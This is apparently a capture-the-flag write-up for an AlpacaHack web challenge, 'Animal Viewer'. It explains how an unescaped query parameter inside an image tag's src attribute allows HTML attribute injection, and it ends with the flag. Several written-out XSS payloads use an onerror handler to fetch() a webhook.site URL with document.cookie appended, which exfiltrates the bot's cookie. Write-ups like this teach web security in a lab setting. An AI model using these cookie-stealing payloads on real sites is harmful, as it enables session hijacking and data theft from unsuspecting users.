Animal Viewer
client side like bot fetcher, but holy moly i'm stuck because i thought the conf is different than the source code that given to us :heart_break:
Recon
We got these files:
~/ctf/alpacahack/web/animal-viewer
❯ tree 08:57:36
.
├── bot
│ ├── bot.js
│ ├── Dockerfile
│ ├── index.js
│ ├── package.json
│ ├── package-lock.json
│ └── public
│ └── index.html
├── compose.yaml
└── web
├── Dockerfile
├── index.js
├── package.json
├── package-lock.json
└── public
├── alpaca.png
├── bear.png
├── cat.png
├── dog.png
└── elephant.png
5 directories, 16 files
In the files that we got, there is a folder named bot. So highly this challenge like crawler or something.
Vulnerability
At bot.js, there’s a function named visit. Where is the last step to us to get the flag.
const APP_HOST = "animal-viewer";
const APP_PORT = "3000";
export const APP_URL = `http://${APP_HOST}:${APP_PORT}`;
---snippet---
export const visit = async (url) => {
console.log(`start: ${url}`);
const browser = await puppeteer.launch({
headless: "new",
executablePath: "/usr/bin/chromium",
args: [
"--no-sandbox",
"--disable-dev-shm-usage",
"--disable-gpu",
'--js-flags="--noexpose_wasm"',
],
});
const context = await browser.createBrowserContext();
try {
const page = await context.newPage();
await page.setCookie({
name: "FLAG",
value: FLAG,
domain: APP_HOST,
path: "/",
});
await page.goto(url, { timeout: 3_000 });
await sleep(5_000);
await page.close();
} catch (e) {
console.error(e);
}
In that snippet specially at the cookie, there’s domain: APP_HOST. So other domain like webhook.site the script wont send the cookie to that domain. Only APP_HOST is the one who accepted to get the cookie.
app.post("/api/report", async (req, res) => {
const { url } = req.body;
if (
typeof url !== "string" ||
(!url.startsWith("http://") && !url.startsWith("https://"))
) {
return res.status(400).send("Invalid url");
}
Don’t forget to starts with http:// or https://.
Now index.js at web.
const html = `
<!DOCTYPE html>
<html>
---snippet---
</li>
<img src="https://claritys.web.id/[ANIMAL].png">
</body>
</html>
`;
app.get("/", async (req, res) => {
const animal = req.query.animal || "alpaca";
// no html tag!
if (animal.includes("<") || animal.includes(">")) {
return res.status(400).send("Bad Request");
}
const page = html.replace("[ANIMAL]", animal);
res.send(page);
});
In that snippet, there’s a query named animal, and is used to change the img to animal pict. There’s a sanitation for the query too, which are not allowed included "<" and ">". So we can’t use html tag like <script>.
So the exploit plan is get the cookie from bot fetcher / puppeter pointed at animal-viewer at port 3000 and then the cookie sent to ourwebhook.site.
How? sadly the program didn’t sanitized ' and ". So we can use the technique *HTML Attribute Injection*. So we can use onerror at javascript after we input an image that doesn’t exist.
Like this:
Let’s try it at the challenge web first the payload before the bot, starting with a simple payload and to verfication.
http://34.170.146.252:59321/?animal=notexist%22%20onerror=%22alert(1)%22
It works! Now we try to use function fetch to get / retrieve data from a website / server.
http://34.170.146.252:59321/?animal=notexist%22%20onerror=%22fetch(`https://webhook.site/5770b7cc-38a6-417e-92b6-19aa03c04ac1/?a=what`)%22
We got the request when we look at our webhook.site.
Now we try to get the cookie from the challenge web
http://34.170.146.252:59321/?animal=notexist%22%20onerror=%22fetch(`https://webhook.site/5770b7cc-38a6-417e-92b6-19aa03c04ac1/?a=${document.cookie}`)%22
It works as well too, it’s empty cuz right now we doesn’t have any cookie. Now let’s try it at the bot.
Don’t forget, at this snippet:
const APP_HOST = "animal-viewer";
const APP_PORT = "3000";
export const APP_URL = `http://${APP_HOST}:${APP_PORT}`;
--- snip ---
try {
const page = await context.newPage();
await page.setCookie({
name: "FLAG",
value: FLAG,
domain: APP_HOST,
path: "/",
});
💡
We have to input animal-viewer as a host and 3000 as a port.
Now we can make the payload like this:
http://animal-viewer:3000/?animal=notexist%22%20onerror=%22fetch(`https://webhook.site/5770b7cc-38a6-417e-92b6-19aa03c04ac1/?a=${document.cookie}`)%22
We got it, the flag. GG. I stuck because i thought we send the bot to the challenge web URL.. Don’t be like me guys.
Flag
Alpaca{Client_s1de_ch4llenges_ar3_fun}